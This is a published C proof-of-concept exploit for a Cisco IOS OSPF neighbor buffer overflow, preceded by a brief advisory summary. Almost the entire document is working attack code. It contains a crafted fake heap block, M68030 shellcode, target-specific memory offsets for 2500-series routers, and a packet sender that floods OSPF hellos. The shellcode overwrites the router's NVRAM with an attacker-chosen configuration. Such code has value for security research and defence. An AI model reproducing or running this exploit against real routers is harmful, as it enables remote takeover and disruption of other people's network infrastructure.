source: http://www.securityfocus.com/bid/6895/info

Cisco IOS is prone to a remotely exploitable buffer overflow condition when handling malformed OSPF (Open Shortest Path First) packets. The overflow occurs when more than 255 OSPF neighbors are announced. This may make it possible to execute malicious instructions on a device running a vulnerable version of the software. Denial of service is also possible.

/* Cisco IOS IO memory exploit prove of concept 
 * by FX of Phenoelit <fx@phenoelit.de>
 * http://www.phenoelit.de
 *
 * For: 
 * 	19C3 Chaos Communication Congress 2002 / Berlin
 * 	BlackHat Briefings Seattle 2003
 * 
 * Cisco IOS 11.2.x to 12.0.x OSPF neighbor overflow
 * Cisco Bug CSCdp58462 causes more than 255 OSPF neighbors to overflow a IO memory
 * structure (small buffer header). The attached program is a PoC to exploit 
 * this vulnerability by executing "shell code" on the router and write the 
 * attached configuration into NVRAM to basicaly own the router. 
 *
 * Example:
 * linux# gcc -o OoopSPF OoopSPF.c 
 * linux# ./OoopSPF -s 172.16.0.0 -n 255.255.0.0 -d 172.16.1.4 \
 * 	-f ./small.config -t 0 -a 1.2.3.4 -vv
 *
 * You can see if it worked if a) the router does not crash and b) the output of 
 * "show mem io" looks like this:
 * E40E38      264 E40D04   E40F6C     1                  31632D8   *Packet Data*
 * E40F6C      264 E40E38   E410A0     1                  31632D8   *Packet Data*
 * E410A0      264 E40F6C   E411D4     1                  31632D8   *Packet Data*
 * E411D4  1830400 E410A0   0          0  0       E411F8  808A8B8C  [PHENOELIT]
 *
 * Exploit has to be "triggered". In LAB environment, go to the router and say
 * box# conf t
 * box(config)# buffers small perm 0
 *
 * Greets go to the Phenoelit members, the usual suspects Halvar, Johnny Cyberpunk,
 *   Svoern, Scusi, Pandzilla, and Dizzy, to the #phenoelit people,
 *   Gaus of PSIRT, Nico of Securite.org and Dan Kaminsky.
 *
 * $Id: OoopSPF.c,v 1.4 2003/02/20 16:38:30 root Exp root $
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <time.h>

#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

#define IPTTL			0x80
#define BLABLA			"Phenoelit OoopSPF\n" \
				" Cisco IOS OSPF remote exploit (11.2.-12.0)\n" \
				" (C) 2002/2003 - FX of Phenoelit <fx@phenoelit.de>\n" 
#define IPPROTO_OSPF    0x59
#define IP_ADDR_LEN     4
typedef struct {
        u_int8_t        ihl:4,          /* header length */
                        version:4;      /* version */
        u_int8_t        tos;            /* type of service */
        u_int16_t       tot_len;        /* total length */
        u_int16_t       id;             /* identification */
        u_int16_t       off;            /* fragment offset field */
        u_int8_t        ttl;            /* time to live */
        u_int8_t        protocol;       /* protocol */
        u_int16_t       check;          /* checksum */
        struct in_addr  saddr;
        struct in_addr  daddr;          /* source and dest address */
} iphdr_t;

typedef struct {
    u_int8_t    version                 __attribute__ ((packed));
    u_int8_t    type                    __attribute__ ((packed));
    u_int16_t   length                  __attribute__ ((packed));
    u_int8_t    source[4]               __attribute__ ((packed));
    u_int8_t    area[4]                 __attribute__ ((packed));
    u_int16_t   checksum                __attribute__ ((packed));
    u_int16_t   authtype                __attribute__ ((packed));
    u_int8_t    authdata[8]             __attribute__ ((packed));
} ospf_header_t;

typedef struct {
    u_int8_t    netmask[4]              __attribute__ ((packed));
    u_int16_t   hello_interval          __attribute__ ((packed));
    u_int8_t    options                 __attribute__ ((packed));
    u_int8_t    priority                __attribute__ ((packed));
    u_int8_t    dead_interval[4]        __attribute__ ((packed));
    u_int8_t    designated[4]           __attribute__ ((packed));
    u_int8_t    backup[4]               __attribute__ ((packed));
} ospf_hello_t;


//
// Target definitions 
//

typedef struct {
    char	*description;
    int		n_neig;
    int		data_start;
    u_int32_t	blockbegin;
    u_int32_t	prev;
    u_int32_t	nop_sleet;
    u_int32_t	stack_address;
    u_int32_t	iomem_end;
} targets_t;

targets_t	targets[] = {
    { // #0 Phenoelit labs 2503 
	"2503, 11.3(11b) IP only [c2500-i-l.113-11b.bin], 14336K/2048K (working)",
	256,		// # of neighbor announcements 
	0xe5, 		// data start
	0xE411D4,	// block begin
	0xE410B4,	// PREV
	6,		// nop_sleet after FAKE BLOCK
	0x079B48,	// Check heaps stack PC
	0x00FFFFFF	// IO mem end
    },
    { // #1 Phenoelit labs 2501 
	"2501, 11.3(11a) IP only [c2500-i-l.113-11a.bin], 14336K/2048K (working)",
	256,		// # of neighbor announcements 
	0xe5, 		// data start
	0x00E31EA4,	// block begin
	0x00E31D84,	// PREV
	6,		// nop_sleet after FAKE BLOCK
	0x00079918,	// Check heaps stack PC (using IOStack.pl)
	0x00FFFFFF	// IO mem end
    }
};

#define TARGETS (sizeof(targets)/sizeof(targets_t)-1)

//
// NVRAM header structure
//

typedef struct {
    u_int16_t   magic                   __attribute__((packed));
    u_int16_t   one                     __attribute__((packed));
    u_int16_t   checksum                __attribute__((packed));
    u_int16_t   IOSver                  __attribute__((packed));
    u_int32_t   unknown                 __attribute__((packed));
    u_int32_t   ptr                     __attribute__((packed));
    u_int32_t   size                    __attribute__((packed));
} nvheader_t;

//
// FAKE BLOCK definitions
//

typedef struct {
    u_int32_t	redzone		__attribute__((packed));
    u_int32_t	magic		__attribute__((packed));
    u_int32_t	pid		__attribute__((packed));
    u_int32_t	proc		__attribute__((packed));
    u_int32_t	name		__attribute__((packed));
    u_int32_t	pc		__attribute__((packed));
    u_int32_t	next		__attribute__((packed));
    u_int32_t	prev		__attribute__((packed));
    u_int32_t	size		__attribute__((packed));
    u_int32_t	refcnt		__attribute__((packed));
    u_int32_t	pad1		__attribute__((packed));
    u_int32_t	freemagic	__attribute__((packed));
    u_int32_t	lastdealloc	__attribute__((packed));
    u_int32_t	pad2		__attribute__((packed));
    u_int32_t	pad3		__attribute__((packed));
    u_int32_t	free_next	__attribute__((packed));
    u_int32_t	free_prev	__attribute__((packed));
} block_t;

char		fakeblock[] =
        "\xFD\x01\x10\xDF"      // RED
        "\xAB\x12\x34\xCD"      // MAGIC
        "\xFF\xFF\xFF\xFF"      // PID
        "\x80\x81\x82\x83"      // PROC
        "\x00\xE4\x12\x00"      // NAME	(Message)
        "\x80\x8a\x8b\x8c"      // PC
	"\x00\x00\x00\x00"      // NEXT (no following block)
        "\x00\xE4\x10\xB4"      // PREV (correct for 0xE411d4)
	"\x00\x0D\xF7\x02"      // Size CORRECT for 0xE411D4
        "\x00\x00\x00\x00"      // Reference count
        "\x00\x00\x00\x00"      // PADDING
        "\xDE\xAD\xBE\xEF"      // FREE MAGIC
	"[PHE"			// last delocator
	"NOEL"			// PADDING
	"IT]\x00"		// PADDING
	"\x00\xE4\x12\x20"	// FREE NEXT in our block
	"\x00\x07\x9B\x48"	// FREE PREV (Check heaps stack PC)
	;
block_t		*bpatch = (block_t*)fakeblock;

//
// Cisco code for M68030 CPU and 2500 NVRAM layout
//
char		ccode[] =
        "\x46\xFC\x27\x00"              //movew #9984,%sr (0x00E41220)
        "\x43\xFA\x00\x48"              //lea %pc@(4e <config>),%a1 (0x00E41224)
        "\x24\x7C\x02\x00\x00\x06"      //moveal #33554438,%a2 (0x00E41228)
        "\xB3\x81"                      //eorl %d1,%d1 (0x00E4122E)
        "\x74\x01"                      //moveq #1,%d2 (0x00E41230)
        "\x22\x3C\x01\x01\x01\x01"      //movel #16843009,%d1 (0x00E41232)
        "\x14\xD9"                      //moveb %a1@+,%a2@+ (0x00E41238)
        "\x32\x3C\xFF\xFF"              //movew #-1,%d1 (0x00E4123A)
        "\x93\x42"                      //subxw %d2,%d1 (0x00E4123E)
        "\x6B\x00\xFF\xFC"              //bmiw 1e <write_delay> (0x00E41240)
        "\x0C\x91\xCA\xFE\xF0\x0D"      //cmpil #-889262067,%a1@ (0x00E41244)
        "\x66\x00\xFF\xEC"              //bnew 18 <copy_config> (0x00E4124A)
        "\x14\xFC\x00\x00"              //moveb #0,%a2@+ (0x00E4124E)
        "\x32\x3C\xFF\xFF"              //movew #-1,%d1 (0x00E41252)
        "\x93\x42"                      //subxw %d2,%d1 (0x00E41256)
        "\x6B\x00\xFF\xFC"              //bmiw 36 <write_delay2> (0x00E41258)
        "\xB5\xFC\x02\x00\x07\x00"      //cmpal #33556224,%a2 (0x00E4125C)
        "\x6D\x00\xFF\xEA"              //bltw 2e <delete_config> (0x00E41262)
        "\x22\x7C\x03\x00\x00\x60"      //moveal #50331744,%a1 (0x00E41266)
        "\x4E\xD1"                      //jmp %a1@ (0x00E4126C)

    ;

char		terminator[]	= "\xCA\xFE\xF0\x0D";
char		nop[] 		= "\x4E\x71";

//
// Global variables to pass the current buffer location to the 
// OSPF packet generator function
//
int 		payloadc=0;
char		*payload=NULL;
// packet counter (global)
unsigned int 	pc=0;


//
// Configuration
//
struct {
    int			verbose;
    char		*device;
    struct in_addr	*target;
    u_int32_t		src_net;
    u_int32_t		src_mask;
    u_int32_t		area;
    int			directed;
    int			test_only;

    // fake block constants
    int			n_neig;
    int			data_start;
    u_int32_t		blockbegin;
    u_int32_t		prev;
    u_int32_t		nop_sleet;
    u_int32_t		stack_address;
    u_int32_t		iomem_end;

    // other stuff 
    char		*filename;
    int			target_sel;
} cfg;


u_char	*construct_ospf(struct in_addr *dd, struct in_addr *src,
	u_int16_t autosys, int *psize);
int	init_socket_IP4(int broadcast);
int     sendpack_IP4(int sfd, u_char *packet,int plength);
u_int16_t chksum(u_char *data, unsigned long count);
void    *smalloc(size_t size);
void	hexdump(unsigned char *bp, unsigned int length);
void	usage(char *s);

int main(int argc, char **argv) {
    char	option;
    extern char	*optarg;
    int		sfd;

    unsigned int	i=0;
    u_int32_t		countip=20;

    /* confg file */
    int                 fd;
    struct stat         sb;

    u_char              *buffer;
    u_char              *p;
    nvheader_t          *nvh;
    unsigned int        len;
    u_int16_t           cs1;
    
    // final overflow
    char		*overflow;
    int			osize=0;

    
    printf(BLABLA);

    memset(&cfg,0,sizeof(cfg));
    while ((option=getopt(argc,argv,"vDTd:s:n:L:F:f:t:S:a:"))!=EOF) {
	switch (option) {
	    case 'v':	cfg.verbose++;
			break;
	    case 'D':	cfg.directed++;
			break;
	    case 'T':	cfg.test_only++;
			break;
	    case 'd':	cfg.target=(struct in_addr *)smalloc(sizeof(struct in_addr));
			if (inet_aton(optarg,cfg.target)==0) {
			    fprintf(stderr,"Your destination is bullshit\n");
			    return (1);
			}
			break;
	    case 's':	if (inet_aton(optarg,(struct in_addr*)&(cfg.src_net))==0) {
			    fprintf(stderr,"Your source net is wrong\n");
			    return (1);
			}
			break;
	    case 'n':	if (inet_aton(optarg,(struct in_addr*)&(cfg.src_mask))==0) {
			    fprintf(stderr,"Your source mask is wrong\n");
			    return (1);
			}
			break;
	    case 'L':	cfg.n_neig=(unsigned int)strtoul(optarg,(char **)NULL,10);
			break;
	    case 'F':	cfg.data_start=(unsigned int)strtoul(optarg,(char **)NULL,16);
			break;
	    case 'f':	cfg.filename=(char *)smalloc(strlen(optarg)+1);
			strcpy(cfg.filename,optarg);
			break;
	    case 't':	cfg.target_sel=(unsigned int)strtoul(optarg,(char **)NULL,10);
			if (cfg.target_sel>TARGETS) {
			    fprintf(stderr,"Target number unknown\n");
			    return (1);
			}
			break;
	    case 'S':	cfg.nop_sleet=(unsigned int)strtoul(optarg,(char **)NULL,10);
			break;
	    case 'a':	if (inet_aton(optarg,(struct in_addr*)&(cfg.area))==0) {
			    fprintf(stderr,"Your area doesn't make sense.\n");
			    return (1);
			}
			break;
	    default:	usage(argv[0]);
	}
    }

    if (cfg.target_sel>TARGETS) {
	fprintf(stderr,"Error: user too stupid (check -t)\n");
	return (-1);
    }
    if (cfg.n_neig==0) cfg.n_neig=targets[cfg.target_sel].n_neig;
    if (cfg.data_start==0) cfg.data_start=targets[cfg.target_sel].data_start;
    if (cfg.blockbegin==0) cfg.blockbegin=targets[cfg.target_sel].blockbegin;
    if (cfg.prev==0) cfg.prev=targets[cfg.target_sel].prev;
    if (cfg.nop_sleet==0) cfg.nop_sleet=targets[cfg.target_sel].nop_sleet;
    if (cfg.stack_address==0) cfg.stack_address=targets[cfg.target_sel].stack_address;
    if (cfg.iomem_end==0) cfg.iomem_end=targets[cfg.target_sel].iomem_end;

    //
    // Check the parameters and set up a socket
    //
    cfg.src_net=cfg.src_net&cfg.src_mask;

    if ( (cfg.src_net==0)||(cfg.src_mask==0)
	    ||(cfg.filename==NULL)||(cfg.target==NULL)) {
	usage(argv[0]);
    }

    if ((sfd=init_socket_IP4(1))<1) {
	fprintf(stderr,"Could not get a socket for you\n");
	return (-1);
    }

    //
    // Get some info back to the user if he requested verbose
    //
    if (cfg.verbose) {
	if (cfg.directed) 
	    printf("\twith unicast target %s\n",inet_ntoa(*cfg.target));
	else 
	    printf("\twith default destination addresses\n");
	printf("\twith source network %s/",
		inet_ntoa(*(struct in_addr*)&(cfg.src_net)));
	printf("%s\n",inet_ntoa(*(struct in_addr*)&(cfg.src_mask)));
        printf("Using Target: %s\n",targets[cfg.target_sel].description);
	printf( "\t# of neighbors: %u\n"
		"\tdata start    : %u\n"
		"\tBlock address : 0x%08X\n"
		"\tPREV pointer  : 0x%08X\n"
		"\tNOP sleet     : %u\n"
		"\tStack address : 0x%08X\n"
		"\tIO Memory end : 0x%08X\n",
		cfg.n_neig,cfg.data_start,cfg.blockbegin,cfg.prev,
		cfg.nop_sleet,cfg.stack_address,cfg.iomem_end);
    }

    //
    // Patch the fake block with the new values
    //
    bpatch->prev=htonl(cfg.prev);
    bpatch->size=htonl(
	    (cfg.iomem_end
	    -39 // minus block header in bytes - 1
	    -cfg.blockbegin) / 2);
    bpatch->free_next=htonl(cfg.blockbegin+sizeof(fakeblock)-5/* RED ZONE */
	    +((sizeof(nop)-1)*cfg.nop_sleet));
    bpatch->free_prev=htonl(cfg.stack_address);
    bpatch->name=htonl(cfg.blockbegin+44);

    /* 
     * Load Config
     * - load into buffer
     * - prepare NVRAM header
     * - calculate checksum
     * -> *buffer contains payload
     */
    if (cfg.filename==NULL) return (-1);
    if (stat(cfg.filename,&sb)!=0) {
        fprintf(stderr,"Could not stat() file %s\n",cfg.filename);
        return (-1);
    }

    if ((fd=open(cfg.filename,O_RDONLY))<0) {
        fprintf(stderr,"Could not open() file %s\n",cfg.filename);
        return (-1);
    }

    len=sb.st_size;
    if ((buffer=(char *)malloc(len+sizeof(nvheader_t)+10))==NULL) {
        fprintf(stderr,"Malloc() failed\n");
        return (-1);
    }
    memset(buffer,0,len+sizeof(nvheader_t)+10);

    p=buffer+sizeof(nvheader_t);
    if (cfg.verbose) printf("%d bytes config read\n",read(fd,p,len));
    close(fd);

    // pad config so it is word bound for the 0xcafef00d test
    if ((len%2)!=0) {
	strcat(p,"\x0A");
	len++;
	if (cfg.verbose) printf("Padding config by one\n");
    }

    nvh=(nvheader_t *)buffer;
    nvh->magic=htons(0xABCD);		
    nvh->one=htons(0x0001);		// is always one 
    nvh->IOSver=htons(0x0B03);		// IOS version
    nvh->unknown=htonl(0x00000014);	// something, 0x14 just works
    nvh->ptr=htonl(0x000D199F);		// config end ptr 
    nvh->size=htonl(len);

    cs1=chksum(buffer,len+sizeof(nvheader_t)+2);
    if (cfg.verbose) printf("Checksum: %04X\n",htons(cs1));
    nvh->checksum=cs1;

    //
    // Put the overflow together
    //
    // (1) calculate size of the whole thing
    osize=sizeof(fakeblock)-1+
	  (cfg.nop_sleet * (sizeof(nop)-1))+
	  sizeof(ccode)-1+
	  sizeof(nvheader_t)+
	  len+
	  sizeof(terminator)-1;
    if ((osize/4)>cfg.data_start) {
	fprintf(stderr,"ERROR: The whole thing is too large!\n");
	return (-1);
    } else {
	printf("Using %u out of %u bytes (overflow: %u bytes)\n",
		osize,cfg.data_start*4,cfg.n_neig*4);
    }
    //
    // adjust osize ot be 4byte bound
    //
    if ((osize%4!=0)) osize+=osize%4;
    overflow=smalloc(osize);

    //
    // (2) copy the fakeblock in the buffer
    //
    memcpy(overflow,fakeblock,sizeof(fakeblock)-1);
    p=(void *)overflow+sizeof(fakeblock)-1;

    //
    // (3) Add NOPs to the buffer
    //
    for (i=0;i<cfg.nop_sleet;i++) {
	memcpy(p,nop,sizeof(nop)-1);
	p+=sizeof(nop)-1;
    }

    //
    // (4) Add the ccode
    //
    memcpy(p,ccode,sizeof(ccode)-1);
    p+=sizeof(ccode)-1;

    //
    // (5) Add the NVRAM structure and config
    //
    memcpy(p,buffer,len+sizeof(nvheader_t));
    p+=len+sizeof(nvheader_t);

    //
    // (6) finish off with terminator
    //
    memcpy(p,terminator,sizeof(terminator)-1);

    if (cfg.verbose>1) hexdump(overflow,osize);
    if (cfg.test_only) return (0);

    payload=overflow+(osize-4);
    payloadc=osize;

    // *************************
    // PERFORM THE OVERFLOW
    // *************************
    for (i=0;i<cfg.n_neig;i++) {
	u_char		*pack;
	int		plen;
	u_int32_t	uip;

OwnHostException:
	countip++;
	uip=htonl(countip);
	uip=uip&(~cfg.src_mask);
	uip=uip|cfg.src_net;

	if (!memcmp(&uip,cfg.target,IP_ADDR_LEN)) {
	    if (cfg.verbose>2) 
		printf("-- Skipping %s\n",inet_ntoa(*(cfg.target)));
	    else {
		printf("*"); fflush(stdout);
	    }
	    goto OwnHostException;
	}

	if (cfg.verbose>2)
	    printf("\tsending from %15s... ",inet_ntoa(*(struct in_addr*)&(uip)));
	else {
	    printf("."); fflush(stdout);
	}

	// Make and send OSPF
	pack=construct_ospf(cfg.target,
		(struct in_addr *)&uip,0,&plen);
	sendpack_IP4(sfd,pack,plen);
	free(pack);

	if (cfg.verbose>2) printf("\n");
	usleep(1);
    }

    close(sfd);
    printf("\n");

    return 0;
}

u_char	*construct_ospf(struct in_addr *dd, struct in_addr *src,
	u_int16_t autosys, int *psize) {
    u_char			*tpacket;
    iphdr_t			*iph;
    u_int16_t			cs;		/* checksum */
    char			all_ospf[]="224.0.0.5";
    ospf_header_t       	*ospfh;
    ospf_hello_t        	*ohelo;

    *psize=sizeof(iphdr_t)+sizeof(ospf_header_t)+sizeof(ospf_hello_t);
    tpacket=(u_char *)smalloc(*psize
	    +3 /* for my checksum function, which sometimes 
		  steps over the mark */
	    );

    // IP packet
    iph=(iphdr_t *)tpacket;

    iph->version=4;
    iph->ihl=sizeof(iphdr_t)/4;

    iph->tot_len=htons(*psize);
    iph->ttl=IPTTL;
    iph->protocol=IPPROTO_OSPF;

    memcpy(&(iph->saddr.s_addr),&(src->s_addr),IP_ADDR_LEN);
    if (!cfg.directed)
	inet_aton(all_ospf,(struct in_addr *)&(iph->daddr));
    else
	memcpy(&(iph->daddr.s_addr),&(dd->s_addr),IP_ADDR_LEN);

    // OSPF header
    ospfh=(ospf_header_t *)((void *)tpacket+sizeof(iphdr_t));
    ohelo=(ospf_hello_t *)((void *)tpacket+sizeof(iphdr_t)+sizeof(ospf_header_t));
    ospfh->version=2;
    ospfh->type=1;
    ospfh->length=htons(sizeof(ospf_header_t)+sizeof(ospf_hello_t));
    memcpy(&(ospfh->area),&(cfg.area),4);

    // Increment the packets sent
    pc++;

    // 
    // If we are in the range of the whole overflow thingy, copy the appropriate
    // 4 bytes into the source address in the OSPF header
    //
    if ( (pc <= cfg.data_start) && 
	      (pc > cfg.data_start-(payloadc/4) ) ) {
	memcpy(&(ospfh->source),payload,IP_ADDR_LEN);
	payload-=4;
    }
    // 
    // well, we are not in there, so we set it to some value
    //
    else {
	ospfh->source[0]=0xCA;
	ospfh->source[1]=0xFE;
	ospfh->source[2]=0xBA;
	ospfh->source[3]=0xBE;
    }

    // be verbose
    if (cfg.verbose>2) printf(" [0x%08X] ",ntohl(*((unsigned int*)&(ospfh->source))));

    // compile the rest of the packet
    memcpy(&(ohelo->netmask),&(cfg.src_mask),4);
    ohelo->hello_interval=htons(10);
    ohelo->options=0x2;
    ohelo->priority=2;
    ohelo->dead_interval[3]=40;
    memcpy(&(ohelo->designated),&(src->s_addr),IP_ADDR_LEN);

    cs=chksum((u_char *)ospfh,sizeof(ospf_header_t)+sizeof(ospf_hello_t));
    ospfh->checksum=cs;

    return tpacket;
}

// Dirty stuff from IRPAS
int init_socket_IP4(int broadcast) {
    int                 sfd;
    int			t=1;

    if ((sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
        perror("socket()");
        return(-1);
    }

    /* make a broadcast enabled socket if desired */
    if (broadcast) {
        if (setsockopt(
                    sfd,SOL_SOCKET,SO_BROADCAST,
                    (void *)&t,sizeof(int)) != 0) {
            perror("setsockopt");
            return (-1);
        }
    }
    return sfd;
}

int     sendpack_IP4(int sfd, u_char *packet,int plength) {
    struct sockaddr_in  sin;
    iphdr_t             *iph;

    iph=(iphdr_t *)packet;

    memset(&sin,0,sizeof(struct sockaddr_in));
    sin.sin_family=AF_INET;
    sin.sin_port=htons(0);
    memcpy(&(sin.sin_addr),&(iph->daddr),sizeof(sin.sin_addr));

    if (sendto(sfd,packet,plength,0,
                (struct sockaddr *) &sin,
                sizeof(struct sockaddr_in)) <=0) {
        perror("sendto()");
        return(-1);
    }

    return 0;
}


u_int16_t chksum(u_char *data, unsigned long count) {
    u_int32_t           sum = 0;
    u_int16_t           *wrd;

    wrd=(u_int16_t *)data;
    while( count > 1 )  {
        sum = sum + *wrd;
        wrd++;
        count -= 2;
    }

    if( count > 0 ) sum = sum + ((*wrd &0xFF)<<8);
    while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
    return (~sum);
}

void    *smalloc(size_t size) {
    void        *p;

    if ((p=malloc(size))==NULL) {
        fprintf(stderr,"smalloc(): malloc failed\n");
        exit (-2);
    }
    memset(p,0,size);
    return p;
}


// /dirty 



/* A better version of hdump, from Lamont Granquist.  Modified slightly
 * by Fyodor (fyodor@DHP.com) 
 * obviously stolen by FX from nmap (util.c)*/
void hexdump(unsigned char *bp, unsigned int length) {

  /* stolen from tcpdump, then kludged extensively */

  static const char asciify[] = "................................ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~.................................................................................................................................";

  register const u_short *sp;
  register const u_char *ap;
  register u_int i, j;
  register int nshorts, nshorts2;
  register int padding;

  printf("\n\t");
  padding = 0;
  sp = (u_short *)bp;
  ap = (u_char *)bp;
  nshorts = (u_int) length / sizeof(u_short);
  nshorts2 = (u_int) length / sizeof(u_short);
  i = 0;
  j = 0;
  while(1) {
    while (--nshorts >= 0) {
      printf(" %04x", ntohs(*sp));
      sp++;
      if ((++i % 8) == 0)
        break;
    }
    if (nshorts < 0) {
      if ((length & 1) && (((i-1) % 8) != 0)) {
        printf(" %02x  ", *(u_char *)sp);
        padding++;
      }
      nshorts = (8 - (nshorts2 - nshorts));
      while(--nshorts >= 0) {
        printf("     ");
      }
      if (!padding) printf("     ");
    }
    printf("  ");

    while (--nshorts2 >= 0) {
      printf("%c%c", asciify[*ap], asciify[*(ap+1)]);
      ap += 2;
      if ((++j % 8) == 0) {
        printf("\n\t");
        break;
      }
    }
    if (nshorts2 < 0) {
      if ((length & 1) && (((j-1) % 8) != 0)) {
        printf("%c", asciify[*ap]);
      }
      break;
    }
  }
  if ((length & 1) && (((i-1) % 8) == 0)) {
    printf(" %02x", *(u_char *)sp);
    printf("                                       %c", asciify[*ap]);
  }
  printf("\n");
}

void usage(char *s) {
    int		i;

    fprintf(stderr,"Usage: \n"
	    "%s -s <src net> -n <src mask> -d <target rtr ip> -f <file>"
		" -t <targ#>\n"
	    "Options:\n"
	    "-s <src net>  Use this network as source (as in target config)\n"
	    "-n <src mask> Use this netmask as source (as in target config)\n"
	    "-d <target>   This is the target router interface IP\n"
	    "-f <file>     Use this as the new config for the router\n"
	    "-t #          Use this target value set (see below)\n"
	    "-a <area>     Use this OSPF area\n"
	    "-v            Be verbose (-vv or -vvv recommended)\n"
	    "-D            Directed attack (unicast) for 11.x targets\n"
	    "-T            Test only - don't send\n"
	    " --- barely used options ---\n"
	    "-L #          Number of neighbors to announce (overflow size)\n"
	    "-F #          Start of data (seen reverse to overflow)\n"
	    "-S #          NOP sleet\n"
	    "\n"
	    "Known targets:\n"
	    ,s);
    
    for (i=0;i<=TARGETS;i++) 
	fprintf(stderr,"\t%s\n",targets[i].description);

    exit (1);
}
